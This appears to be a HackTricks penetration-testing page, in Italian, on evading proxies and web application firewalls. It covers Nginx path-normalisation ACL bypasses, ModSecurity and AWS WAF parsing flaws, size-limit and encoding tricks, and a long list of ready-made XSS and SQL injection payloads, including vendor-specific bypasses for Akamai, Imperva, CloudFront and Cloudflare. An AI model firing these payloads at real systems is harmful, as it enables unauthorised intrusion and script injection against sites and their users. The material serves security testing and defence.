Bypass delle protezioni Proxy / WAF

Reading time: 12 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Bypass delle regole ACL di Nginx con Pathname Manipulation

Tecniche da questa ricerca.

Esempio di regola Nginx:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Per prevenire bypass, Nginx esegue la normalizzazione del path prima di verificarlo. Tuttavia, se il server backend esegue una normalizzazione diversa (rimuovendo caratteri che nginx non rimuove) potrebbe essere possibile eludere questa difesa.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Configurazione Nginx FPM:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx è configurato per bloccare l'accesso a /admin.php ma è possibile bypassarlo accedendo a /admin.php/index.php.

Come prevenire

plaintext
location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post è spiegato che ModSecurity v3 (fino alla 3.0.12), ha implementato in modo errato la variabile REQUEST_FILENAME che avrebbe dovuto contenere il path accesso (fino all'inizio dei parametri). Questo perché eseguiva un URL decode per ottenere il path.
Pertanto, una richiesta come http://example.com/foo%3f';alert(1);foo= in mod security supporrà che il path sia solo /foo perché %3f viene trasformato in ? che termina il percorso URL, ma in realtà il path che il server riceverà sarà /foo%3f';alert(1);foo=.

Le variabili REQUEST_BASENAME e PATH_INFO sono state anch'esse interessate da questo bug.

Qualcosa di simile è accaduto nella versione 2 di Mod Security che permetteva di bypassare una protezione che impediva agli utenti di accedere a file con estensioni specifiche relative ai backup (come .bak) semplicemente inviando il punto URL-encoded come %2e, per esempio: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

This research menziona che era possibile bypassare le regole di AWS WAF applicate alle intestazioni HTTP inviando un'intestazione "malformata" che non veniva correttamente parsata da AWS ma che invece veniva parsata dal server di backend.

Per esempio, inviando la seguente richiesta con una SQL injection nell'header X-Query:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

È stato possibile bypassare AWS WAF perché non capiva che la riga successiva faceva parte del valore dell'header, mentre il server NODEJS lo faceva (questo è stato corretto).

Bypass generici del WAF

Limiti di dimensione della richiesta

Normalmente i WAF hanno un limite di lunghezza delle richieste da ispezionare; se una richiesta POST/PUT/PATCH lo supera, il WAF non la controllerà.

Dimensione massima del body di una web request che può essere ispezionata per le protezioni di Application Load Balancer e AWS AppSync8 KB
Dimensione massima del body di una web request che può essere ispezionata per le protezioni di CloudFront, API Gateway, Amazon Cognito, App Runner, e Verified Access protections**64 KB

Web Application Firewall più vecchi con Core Rule Set 3.1 (o inferiore) permettono messaggi più grandi di 128 KB disattivando l'ispezione del body della richiesta, ma questi messaggi non verranno controllati per vulnerabilità. Per le versioni più recenti (Core Rule Set 3.2 o successive), la stessa operazione può essere effettuata disabilitando il limite massimo del body. Quando una richiesta supera il limite di dimensione:

Se in modalità di prevenzione: Registra e blocca la richiesta.
Se in modalità di rilevamento: Ispeziona fino al limite, ignora il resto e registra se il Content-Length supera il limite.

Per default, il WAF ispeziona solo i primi 8KB di una richiesta. È possibile aumentare il limite fino a 128KB aggiungendo Advanced Metadata.

Fino a 128KB.

Gap nell'ispezione degli asset statici (.js GETs)

Alcune catene CDN/WAF applicano un'ispezione del contenuto debole o nulla alle richieste GET per asset statici (per esempio path che finiscono con .js), pur continuando ad applicare regole globali come rate limiting e IP reputation. Combinato con l'auto-caching delle estensioni statiche, questo può essere abusato per distribuire o inoculare varianti malevole che influenzano le risposte HTML successive.

Casi d'uso pratici:

  • Inviare payload in header non affidabili (es., User-Agent) con un GET a un path .js per evitare l'ispezione del contenuto, poi richiedere immediatamente l'HTML principale per influenzare la variante in cache.
  • Usare un IP fresco/pulito; una volta che un IP viene segnalato, cambiamenti di routing possono rendere la tecnica non affidabile.
  • In Burp Repeater, usare "Send group in parallel" (stile single-packet) per gareggiare con le due richieste (.js poi HTML) tramite lo stesso percorso front-end.

Questo si abbina bene al header-reflection cache poisoning. Vedi:

Cache Poisoning and Cache Deception

Offuscamento

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilità Unicode

A seconda dell'implementazione della Unicode normalization (maggiori informazioni here), caratteri che condividono la compatibilità Unicode potrebbero riuscire a bypassare il WAF ed essere eseguiti come il payload previsto. I caratteri compatibili si possono trovare here.

Esempio

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Come menzionato in this blog post, per bypassare WAFs in grado di mantenere un contesto dell'input utente potremmo abusare delle tecniche del WAF per normalizzare effettivamente l'input dell'utente.

Per esempio, nel post si menziona che Akamai URL decoded a user input 10 times. Quindi qualcosa come <input/%2525252525252525253e/onfocus sarà visto da Akamai come <input/>/onfocus il quale potrebbe ritenere che vada bene poiché il tag è chiuso. Tuttavia, fintanto che l'applicazione non effettua URL decode sull'input 10 volte, la vittima vedrà qualcosa come <input/%25252525252525253e/onfocus che è ancora valido per un attacco XSS.

Di conseguenza, questo permette di nascondere payloads in componenti codificati che il WAF decodificherà e interpreterà mentre la vittima non lo farà.

Inoltre, questo può essere fatto non solo con payloads URL encoded ma anche con altre codifiche come unicode, hex, octal...

Nel post i seguenti bypass finali sono suggeriti:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Viene anche menzionato che, a seconda di come alcuni WAFs comprendono il contesto dell'input utente, potrebbe essere possibile abusarne. L'esempio proposto nel blog è che Akamai permetteva di inserire qualsiasi cosa tra /* e */ (potenzialmente perché questo è comunemente usato come commento). Di conseguenza, una SQLinjection come /*'or sleep(5)-- -*/ non verrà intercettata e sarà valida, poiché /* è la stringa d'inizio dell'injection e */ è commentata.

Questi tipi di problemi di contesto possono anche essere usati per abusi di vulnerabilità diverse da quella prevista dallo scopo del WAF (es. questo può essere usato per sfruttare una XSS).

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Diverse tecniche possono essere usate per bypassare i filtri regex sui firewall. Esempi includono alternare maiuscole/minuscole, inserire interruzioni di linea e codificare i payloads. Risorse per i vari bypass si trovano su PayloadsAllTheThings e OWASP. Gli esempi seguenti sono stati presi da this article.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Strumenti

  • nowafpls: Burp plugin per aggiungere dati di riempimento alle richieste per bypassare i WAFs basandosi sulla lunghezza

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks